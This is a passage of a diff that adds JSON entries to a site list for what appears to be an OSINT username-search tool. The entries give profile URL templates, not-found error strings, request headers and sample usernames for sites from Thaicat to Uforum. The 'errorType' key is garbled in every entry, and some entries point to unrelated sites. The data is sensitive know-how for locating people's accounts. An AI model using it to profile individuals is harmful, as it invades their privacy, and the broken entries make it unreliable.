403",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.thaicat.ru/index/8-0-{}",
+ "urlMain": "http://www.thaicat.ru",
+ "usernameON": "SparcO",
+ "bad_site": ""
+ },
+ "Theanswerbank": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorMsg": "Welcome to the AnswerBank",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://www.theanswerbank.co.uk/members/{}",
+ "urlMain": "https://www.theanswerbank.co.uk",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Thebeautybrains": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://thebeautybrains.com/users/{}/",
+ "urlMain": "https://thebeautybrains.com",
+ "usernameON": "randys",
+ "bad_site": ""
+ },
+ "Thebigboss": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "http://thebigboss.org/author/{}",
+ "urlMain": "http://thebigboss.org",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Thechessforum": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Page Not Found",
+ "errorMsg2": "Sorry, page not found",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://thechessforum.com/profile/{}/",
+ "urlMain": "https://thechessforum.com",
+ "usernameON": "menaalkhan",
+ "comments": "ZAK_user",
+ "bad_site": 1
+ },
+ "Thechive": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://thechive.com/author/{}/",
+ "urlMain": "https://thechive.com",
+ "usernameON": "camrybishop",
+ "bad_site": ""
+ },
+ "THEcommunity": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://thecommunity.ru/user/{}/",
+ "urlMain": "https://thecommunity.ru",
+ "usernameON": "pjslot",
+ "bad_site": ""
+ },
+ "Thefastdiet": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorMsg": "Sorry, ",
+ "errorMsg2": "page doesn",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://thefastdiet.co.uk/forums/users/{}/",
+ "urlMain": "https://thefastdiet.co.uk",
+ "usernameON": "fadepeacock",
+ "bad_site": ""
+ },
+ "Thefastlaneforum": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "url": "https://www.thefastlaneforum.com/community/members/?username={}",
+ "urlMain": "https://www.thefastlaneforum.com",
+ "usernameON": "adam",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Thelion": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "We are sorry but the following error has occurred.",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "http://www.thelion.com/bin/profile.cgi?c=s&ru_name={}",
+ "urlMain": "http://www.thelion.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Themeforest": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://themeforest.net/user/{}",
+ "urlMain": "https://themeforest.net",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Theodysseyonline": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://www.theodysseyonline.com/user/@{}",
+ "urlMain": "https://www.theodysseyonline.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Theoutlander": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://theoutlander.ru/index/8-0-{}",
+ "urlMain": "http://theoutlander.ru",
+ "usernameON": "Parma",
+ "bad_site": ""
+ },
+ "Thephysicsforum": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "This user has not registered and therefore does not have a profile to view.",
+ "errorMsg2": "The Physics Forum ",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.thephysicsforum.com/members/{}.html",
+ "urlMain": "https://www.thephysicsforum.com",
+ "usernameON": "andrewc",
+ "bad_site": ""
+ },
+ "Thesimsresource": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "response_url",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.thesimsresource.com/artists/{}/",
+ "urlMain": "https://www.thesimsresource.com/",
+ "usernameON": "soloriya",
+ "bad_site": ""
+ },
+ "Thestudentroom": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorMsg": "NoneNone",
+ "errorMsg2": "This user has not registered and therefore does not have a profile to view.",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.thestudentroom.co.uk/member.php?username={}",
+ "urlMain": "https://www.thestudentroom.co.uk",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Thevampirediaries": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "http://thevampirediaries.ru/user/{}/",
+ "urlMain": "http://thevampirediaries",
+ "usernameON": "PrestonPauh",
+ "comments": "no_oplata",
+ "bad_site": 1
+ },
+ "Theverge": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://www.theverge.com/users/{}",
+ "urlMain": "https://www.theverge.com",
+ "usernameON": "Patlex",
+ "bad_site": ""
+ },
+ "Thewatchforum": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorTyp��": "redirection",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://www.thewatchforum.co.uk/members/?username={}",
+ "urlMain": "https://www.thewatchforum.co.uk",
+ "usernameON": "wrench",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Thingiverse": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://www.thingiverse.com/{}/designs",
+ "urlMain": "https://www.thingiverse.com/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Thlaspi": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://thlaspi.com/en/user/{}",
+ "urlMain": "https://thlaspi.com",
+ "usernameON": "eblinkoff",
+ "comments": "-t 22 good",
+ "bad_site": ""
+ },
+ "Threads": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Threads",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "content=\"https://www.threads.com/login",
+ "errorTyp��": "message",
+ "headers": {
+ "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
+ "Priority": "u=1",
+ "DNT": "1",
+ "Host": "www.threads.com",
+ "Connection": "keep-alive",
+ "Upgrade-Insecure-Requests": "1",
+ "Sec-Fetch-Dest": "document",
+ "Sec-Fetch-Mode": "navigate",
+ "Sec-Fetch-Site": "none",
+ "Sec-Fetch-User": "?1",
+ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0"
+ },
+ "url": "https://www.threads.com/@{}",
+ "urlMain": "https://www.threads.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "TikTok": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.tiktok.com/@{}?lang=ru-RU",
+ "urlMain": "https://www.tiktok.com/",
+ "headers": {
+ "Accept": "*/*",
+ "Sec-GPC": "1",
+ "Connection": "keep-alive",
+ "Host": "www.tiktok.com",
+ "User-Agent": "Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)"
+ },
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Tildes": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://tildes.net/user/{}",
+ "urlMain": "https://tildes.net",
+ "usernameON": "Palatino",
+ "bad_site": ""
+ },
+ "Tinder": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Dating, Make Friends &",
+ "errorMsg2": "заводи друзей Тинькофф",
+ "errorTyp��": "message",
+ "url": "https://www.tinkoff.ru/invest/social/profile/{}/",
+ "urlMain": "https://www.tinkoff.ru",
+ "usernameON": "Usual_user",
+ "bad_site": ""
+ },
+ "Tjournal_CLOSEDEAD": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Мы все внимательно посмотрели, но ничего не нашли :(",
+ "errorMsg2": "Можно попробовать изменить поисковый запрос или пойти почитать",
+ "errorTyp��": "message",
+ "url": "https://tjournal.ru/search/v2/subsite/relevant?query={}",
+ "urlMain": "https://tjournal.ru",
+ "usernameON": "adam",
+ "bad_site": 1
+ },
+ "Tkgr": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "http://tkgr.ru/forum/member/{}",
+ "urlMain": "http://tkgr.ru/",
+ "usernameON": "siber",
+ "comments": "zamedlenie",
+ "bad_site": ""
+ },
+ "Tl": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://tl.net/forum/profile.php?user={}",
+ "urlMain": "https://tl.net",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Tolyatty": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "http://tolyatty.net/user/{}/",
+ "urlMain": "http://tolyatty.net",
+ "usernameON": "derre-red",
+ "bad_site": 1
+ },
+ "Tomtom_CLOSEDEAD": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://discussions.tomtom.com/en/profile/{}",
+ "urlMain": "https://discussions.tomtom.com/",
+ "usernameON": "adam",
+ "bad_site": 1
+ },
+ "Toot_mstd": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "exclusion": "[а-яА-Я]",
+ "errorTyp��": "status_code",
+ "url": "https://toot.cat/@{}",
+ "urlMain": "https://toot.cat",
+ "usernameON": "bob",
+ "bad_site": ""
+ },
+ "Topcheats": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://topcheats.ucoz.com/index/8-0-{}",
+ "urlMain": "https://topcheats.ucoz.com",
+ "usernameON": "sergeizakaz",
+ "bad_site": ""
+ },
+ "Topdb": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "Извините, но пользователь не найден",
+ "errorTyp��": "message",
+ "url": "https://topdb.ru/{}",
+ "urlMain": "https://topdb.ru",
+ "usernameON": "sukaebana2017",
+ "bad_site": ""
+ },
+ "Topwar": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://topwar.ru/user/{}/",
+ "urlMain": "https://topwar.ru",
+ "usernameON": "datur",
+ "bad_site": ""
+ },
+ "Torrent-soft": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://torrent-soft.net/user/{}/",
+ "urlMain": "https://torrent-soft.net",
+ "usernameON": "Baguvix",
+ "bad_site": ""
+ },
+ "Totalstavki_CLOSEDEAD": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://totalstavki.ru/forum/members/?username={}",
+ "urlMain": "https://totalstavki.ru",
+ "usernameON": "turbo",
+ "bad_site": 1,
+ "comments": "zakr",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Totseans_CLOSEDEAD": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Totseans ",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "http://www.totseans.com/bbs/profile/{}",
+ "urlMain": "http://www.totseans.com",
+ "usernameON": "Vizier",
+ "comments": "RUblock",
+ "bad_site": 1
+ },
+ "Tottenhamhotspur": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "http://tottenhamhotspur.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://tottenhamhotspur.ru",
+ "usernameON": "rusiakos",
+ "bad_site": ""
+ },
+ "Touristlink": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Members across the World",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://www.touristlink.com/user/{}",
+ "urlMain": "https://www.touristlink.com",
+ "usernameON": "green",
+ "comments": "Oplata",
+ "bad_site": 1
+ },
+ "Tourney": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "По вашему запросу ничего не найдено.",
+ "errorMsg2": "colspan=\"4\">",
+ "errorTyp��": "message",
+ "url": "http://www.tourney.ru/forum/userlist.php?username={}&show_group=-1&sort_by=username",
+ "urlMain": "http://www.tourney.ru",
+ "usernameON": "Spirit",
+ "bad_site": ""
+ },
+ "Toxicbun": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "response_url",
+ "url": "https://toxicbun.com/@{}",
+ "urlMain": "https://toxicbun.com",
+ "usernameON": "Mark",
+ "comments": "bad",
+ "bad_site": 1
+ },
+ "Toyster": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "toyster.ru форум ",
+ "errorTyp��": "message",
+ "url": "https://toyster.ru/forum/member.php?username={}",
+ "urlMain": "https://toyster.ru",
+ "usernameON": "DEMOH85",
+ "bad_site": ""
+ },
+ "TrackmaniaLadder": {
+ "country": "🇫🇷",
+ "country_klas": "FR",
+ "errorMsg": "player unknown or invalid",
+ "errorMsg2": "NoneNone",
+ "errorMsg3": "player unknown or invalid",
+ "errorTyp��": "message",
+ "url": "http://en.tm-ladder.com/{}_rech.php",
+ "urlMain": "http://en.tm-ladder.com/index.php",
+ "usernameON": "blue",
+ "comments": "bad",
+ "bad_site": 1
+ },
+ "TradingView": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": "This isn't the page you're looking for",
+ "errorMsg2": " ",
+ "errorTyp��": "message",
+ "url": "https://www.tradingview.com/u/{}/",
+ "urlMain": "https://www.tradingview.com/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Trainsim": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "This user has not registered and therefore does not have a profile to view.",
+ "errorMsg2": "Cloudflare ",
+ "errorMsg3": "Just a moment",
+ "errorTyp��": "message",
+ "url": "https://www.trainsim.com/vbts/member.php?username={}",
+ "urlMain": "https://www.trainsim.com/",
+ "usernameON": "adam",
+ "comments": "super",
+ "bad_site": 1
+ },
+ "Trakt": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://www.trakt.tv/users/{}",
+ "urlMain": "https://www.trakt.tv/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Translatewiki": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://translatewiki.net/wiki/User:{}",
+ "urlMain": "https://translatewiki.net",
+ "usernameON": "Adam",
+ "bad_site": ""
+ },
+ "Tranzilla": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "По данному запросу ничего не найдено.",
+ "errorMsg2": ">
",
+ "errorMsg3": "Internal Server Error ",
+ "errorTyp��": "message",
+ "url": "https://tranzilla.ru/search/?request=&search_type=t",
+ "urlMain": "https://tranzilla.ru",
+ "usernameON": "irina",
+ "bad_site": 1
+ },
+ "Trashbox": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "div_text_error2",
+ "errorTyp��": "message",
+ "url": "https://trashbox.ru/users/{}",
+ "urlMain": "https://trashbox.ru/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Travelblog": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.travelblog.org/Bloggers/{}",
+ "urlMain": "https://www.travelblog.org",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Travelfish": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Private or invalid",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.travelfish.org/member_popup.php?u={}",
+ "urlMain": "https://www.travelfish.org",
+ "usernameON": "YeMeansWater",
+ "bad_site": ""
+ },
+ "Travellerspoint": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://www.travellerspoint.com/users/{}/",
+ "urlMain": "https://www.travellerspoint.com",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Travis": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://travis-ci.community/u/{}/summary",
+ "urlMain": "https://travis-ci.community/",
+ "usernameON": "montana",
+ "bad_site": ""
+ },
+ "Trello": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "model not found",
+ "errorMsg2": "Trello Server Error ",
+ "errorTyp��": "message",
+ "url": "https://trello.com/{}",
+ "urlMain": "https://trello.com/",
+ "urlProbe": "https://trello.com/1/Members/{}",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Trictrac": {
+ "country": "🇫🇷",
+ "country_klas": "FR",
+ "errorTyp��": "status_code",
+ "url": "https://www.trictrac.net/mur/{}",
+ "urlMain": "https://www.trictrac.net",
+ "usernameON": "entelechie",
+ "bad_site": ""
+ },
+ "Trilife": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "К сожалению",
+ "errorMsg2": "",
+ "errorTyp��": "message",
+ "url": "https://trilife.ru/search/?q={}&sort=&entity=users&from=&to=",
+ "urlMain": "https://trilife.ru",
+ "usernameON": "irina",
+ "comments": "ZAK_user",
+ "bad_site": 1
+ },
+ "Trinixy": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://trinixy.ru/user/{}/",
+ "urlMain": "https://trinixy.ru",
+ "usernameON": "green",
+ "bad_site": ""
+ },
+ "TripAdvisor": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "(!cancel)",
+ "errorMsg2": "| Cloudflare",
+ "errorTyp��": "message",
+ "headers": {
+ "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
+ "DNT": "1",
+ "Priority": "u=1",
+ "Connection": "keep-alive",
+ "Sec-Fetch-Dest": "document",
+ "Sec-Fetch-Mode": "navigate",
+ "Sec-Fetch-Site": "none",
+ "Sec-Fetch-User": "?1",
+ "Sec-GPC": "1",
+ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0"
+ },
+ "url": "https://www.tripadvisor.com/Profile/{}",
+ "urlMain": "https://www.tripadvisor.com",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Tripline": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://www.tripline.net/{}",
+ "urlMain": "https://www.tripline.net",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Tripoto": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://www.tripoto.com/profile/{}",
+ "urlMain": "https://www.tripoto.com",
+ "usernameON": "kapilpandit",
+ "bad_site": ""
+ },
+ "Tripster": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://tripster.ru/{}/",
+ "urlMain": "https://tripster.ru",
+ "usernameON": "adam",
+ "comments": "ZAK_user",
+ "bad_site": 1
+ },
+ "Trisquel": {
+ "country": "🇪🇺",
+ "country_klas": "EU",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://trisquel.info/it/users/{}",
+ "urlMain": "https://trisquel.info",
+ "usernameON": "redfox",
+ "bad_site": ""
+ },
+ "Trp_red": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "exclusion": "\\W[а-яА-Я]",
+ "errorTyp��": "status_code",
+ "url": "https://www.trp.red/follow/{}",
+ "urlMain": "https://www.trp.red",
+ "usernameON": "AlwaysStoic",
+ "bad_site": ""
+ },
+ "Truckersmp": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://truckersmp.ru/{}",
+ "urlMain": "https://truckersmp.ru",
+ "usernameON": "RamanBY",
+ "bad_site": ""
+ },
+ "Trueachievements": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://www.trueachievements.com/gamer/{}",
+ "urlMain": "https://www.trueachievements.com",
+ "usernameON": "metallicafan459",
+ "bad_site": ""
+ },
+ "Truelancer": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "This page could not be found.",
+ "errorMsg2": "404",
+ "errorTyp��": "message",
+ "url": "https://www.truelancer.com/freelancer/{}",
+ "urlMain": "https://www.truelancer.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Truesteamachievements": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorTyp��": "status_code",
+ "url": "https://truesteamachievements.com/gamer/{}",
+ "urlMain": "https://truesteamachievements.com",
+ "usernameON": "adam",
+ "comments": "cf",
+ "bad_site": ""
+ },
+ "Truthbook": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No suitable matches were found.",
+ "errorMsg2": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://forum.truthbook.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://truthbook.com",
+ "usernameON": "fanofVan",
+ "bad_site": ""
+ },
+ "Truthpodium": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "response_url",
+ "url": "https://truthpodium.org/@{}",
+ "urlMain": "https://truthpodium.org",
+ "usernameON": "Bubba8613",
+ "bad_site": ""
+ },
+ "Trworkshop": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Информация",
+ "errorMsg2": "Подходящих тем или сообщений не найдено.",
+ "errorTyp��": "message",
+ "url": "http://www.trworkshop.net/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://www.trworkshop.net",
+ "usernameON": "eric",
+ "bad_site": ""
+ },
+ "Ttrails": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "К сожалению, пользователь не найден",
+ "errorMsg2": "Тропинки.ру ",
+ "errorTyp��": "message",
+ "url": "https://ttrails.ru/users/{}",
+ "urlMain": "https://ttrails.ru",
+ "usernameON": "danika983",
+ "bad_site": ""
+ },
+ "Ttsport": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "url": "https://www.ttsport.ru/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://www.ttsport.ru",
+ "usernameON": "Roos",
+ "comments": "bad",
+ "bad_site": ""
+ },
+ "Tula": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "http://tula.net.ru/user/{}/",
+ "urlMain": "http://tula.net.ru",
+ "usernameON": "evgenij",
+ "bad_site": 1
+ },
+ "Tulup": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Нет записей, удовлетворяющих условиям запроса",
+ "errorMsg2": "",
+ "errorTyp��": "message",
+ "url": "https://www.tulup.ru/noindex/userlist.php?search={}",
+ "urlMain": "https://www.tulup.ru",
+ "usernameON": "Murchik",
+ "bad_site": ""
+ },
+ "Tumblr": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "exclusion": "\\W|[а-яА-Я]",
+ "errorTyp��": "status_code",
+ "url": "https://{}.tumblr.com/",
+ "urlMain": "https://tumblr.com/",
+ "usernameON": "red",
+ "comments": "cf",
+ "bad_site": ""
+ },
+ "Tunefind": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "false,\"err\":{\"name",
+ "errorMsg2": "Tunefind ",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.tunefind.com/user/profile/{}",
+ "urlMain": "https://www.tunefind.com",
+ "usernameON": "adam",
+ "comments": "super",
+ "bad_site": ""
+ },
+ "Turbina": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "response_url",
+ "url": "https://turbinatravels.com/authors/{}/",
+ "urlMain": "https://turbina.ru",
+ "usernameON": "maklai",
+ "comments": "bad",
+ "bad_site": ""
+ },
+ "Turkey-info": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Не найдено ни одного пользователя по заданным критериям",
+ "errorMsg2": "Пользователей: 0",
+ "errorTyp��": "message",
+ "url": "https://turkey-info.ru/forum/memberlist.php?username={}",
+ "urlMain": "https://turkey-info.ru",
+ "usernameON": "orduzulu",
+ "bad_site": ""
+ },
+ "Turpravda": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "",
+ "errorMsg2": "Страница не найдена",
+ "errorTyp��": "message",
+ "url": "https://www.turpravda.ua/profile/{}/",
+ "urlMain": "https://www.turpravda.ua",
+ "usernameON": "iryna83",
+ "bad_site": ""
+ },
+ "Tutor": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "К сожалению, введенный вами адрес недоступен",
+ "errorMsg2": "dtk-front-nuxt Profile Not Found",
+ "errorMsg2": "We couldn't find a profile for username:",
+ "errorTyp��": "message",
+ "url": "https://data.typeracer.com/pit/profile?user={}",
+ "urlMain": "https://data.typeracer.com/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Uanime": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Тем або повідомлень",
+ "errorMsg2": "Інформація",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://uanime.org.ua/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://uanime.org.ua",
+ "usernameON": "Antigonius",
+ "comments": "old",
+ "bad_site": 1
+ },
+ "Uaodessa": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "url": "https://uaodessa.com/index/8-0-{}",
+ "urlMain": "https://uaodessa.com",
+ "usernameON": "Trentonbouri",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Uazpatriot": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "https://uazpatriot.ru/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://uazpatriot.ru",
+ "usernameON": "irina",
+ "bad_site": ""
+ },
+ "Ubisoft_CLOSEDEAD": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://discussions.ubisoft.com/user/{}?lang=en-US",
+ "urlMain": "https://discussions.ubisoft.com",
+ "usernameON": "mrdarrek",
+ "bad_site": 1
+ },
+ "Uchportal": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://www.uchportal.ru/index/8-0-{}",
+ "urlMain": "https://www.uchportal.ru",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Udemy": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "response_url",
+ "url": "https://www.udemy.com/user/{}/",
+ "urlMain": "https://www.udemy.com",
+ "usernameON": "adammortimer",
+ "bad_site": ""
+ },
+ "Ufocomm": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Найдено: 0 результатов",
+ "errorMsg2": "одожд",
+ "errorTyp��": "message",
+ "url": "https://www.ufocomm.ru/search/?&q={}&type=core_members",
+ "urlMain": "https://www.ufocomm.ru",
+ "usernameON": "vik",
+ "bad_site": ""
+ },
+ "Uforum": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "content=\"noindex,follow",
+ "errorTyp��": "message",
+ "url": "https://uforum.uz/member.php?username={}",
+ "urlMain": "https://uforum.uz",
+ "usernameON": "Constantin",
+ "bad_site": ""
+ },
